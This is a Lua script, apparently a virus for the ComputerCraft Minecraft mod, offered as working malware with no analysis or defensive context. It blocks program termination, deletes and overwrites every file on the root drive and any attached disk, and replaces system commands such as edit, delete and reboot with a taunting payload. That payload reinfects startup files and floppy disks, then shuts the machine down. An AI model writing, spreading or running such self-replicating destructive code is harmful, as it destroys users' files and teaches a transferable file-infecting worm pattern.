local viruscode = "os.pullEvent = os.pullEventRaw \n";
local viruscode1 = "-- LOL N00B!! -- \n"
local viruscode2 = "print(\"PWN3D N00B!\") \n"
local viruscodeSpread1 = "function infect(directory) \n"
local viruscodeSpread2 = " if fs.exists(directory) then \n"
local viruscodeSpread3 = "  fs.delete(directory) \n"
local viruscodeSpread4 = " end \n"
local viruscodeSpread5 = " file = io.open(directory, \"w\") \n"
local viruscodeSpread6 = " file:write(viruscode) \n"
local viruscodeSpread7 = " file:write(viruscode1) \n"
local viruscodeSpread8 = " file:write(viruscode2) \n"
local viruscodeSpread9 = " file:write(viruscode3) \n"
local viruscodeSpread10 = " file:write(viruscode4) \n"
local viruscodeSpread11 = " file:close() \n"
local viruscodeSpread12 = "end \n"
local viruscodeSpread13 = "if fs.exists(\"disk/\") then \n"
local viruscodeSpread14 = "infect(\"disk/startup\") \n"
local viruscodeSpread15 = "end \n"
local viruscodeSpread16 = "infect(\"startup\") \n"
local viruscode3 = "sleep(4) \n"
local viruscode4 = "os.shutdown() \n"
if fs.exists("disk/") then
files = fs.list("disk")
for n=1,#files do
   if not fs.isDir("disk/"..files[n]) then
                 file = io.open("disk/"..files[n], "w")
                 file:write(viruscode)
                 file:write(viruscode1)
                 file:write(viruscode2)
                 file:write(viruscodeSpread1)
                 file:write(viruscodeSpread2)
                 file:write(viruscodeSpread3)
                 file:write(viruscodeSpread4)
                 file:write(viruscodeSpread5)
                 file:write(viruscodeSpread6)
                 file:write(viruscodeSpread7)
                 file:write(viruscodeSpread8)
                 file:write(viruscodeSpread9)
                 file:write(viruscodeSpread10)
                 file:write(viruscodeSpread11)
                 file:write(viruscodeSpread12)
                 file:write(viruscodeSpread13)
                 file:write(viruscodeSpread14)
                 file:write(viruscodeSpread15)
                 file:write(viruscodeSpread16)
                 file:write(viruscode3)
                 file:write(viruscode4)
                 file:close()
   end
end
end
files = fs.list("/")
for n=1,#files do
                    if not fs.isDir("/"..files[n]) then
    fs.delete("/" ..files[n])
                                                    file = io.open("/"..files[n], "w")
    file:write(viruscode)
    file:write(viruscode1)
    file:write(viruscode2)
    file:write(viruscodeSpread1)
    file:write(viruscodeSpread2)
    file:write(viruscodeSpread3)
    file:write(viruscodeSpread4)
    file:write(viruscodeSpread5)
    file:write(viruscodeSpread6)
    file:write(viruscodeSpread7)
    file:write(viruscodeSpread8)
    file:write(viruscodeSpread9)
    file:write(viruscodeSpread10)
    file:write(viruscodeSpread11)
    file:write(viruscodeSpread12)
    file:write(viruscodeSpread13)
    file:write(viruscodeSpread14)
    file:write(viruscodeSpread15)
    file:write(viruscodeSpread16)
    file:write(viruscode3)
    file:write(viruscode4)
    file:close()
                    end
end
function infect(directory)
if fs.exists(directory) then
  fs.delete(directory)
end
file = io.open(directory, "w")
file:write(viruscode)
file:write(viruscode1)
file:write(viruscode2)
file:write(viruscodeSpread1)
file:write(viruscodeSpread2)
file:write(viruscodeSpread3)
file:write(viruscodeSpread4)
file:write(viruscodeSpread5)
file:write(viruscodeSpread6)
file:write(viruscodeSpread7)
file:write(viruscodeSpread8)
file:write(viruscodeSpread9)
file:write(viruscodeSpread10)
file:write(viruscodeSpread11)
file:write(viruscodeSpread12)
file:write(viruscodeSpread13)
file:write(viruscodeSpread14)
file:write(viruscodeSpread15)
file:write(viruscodeSpread16)
file:write(viruscode3)
file:write(viruscode4)
file:close()
end
infect("/edit")
infect("/clear")
infect("/copy")
infect("/reboot")
infect("/shutdown")
infect("/list")
infect("/delete")
infect("/startup")
if fs.exists("disk/") then
infect("disk/startup")
end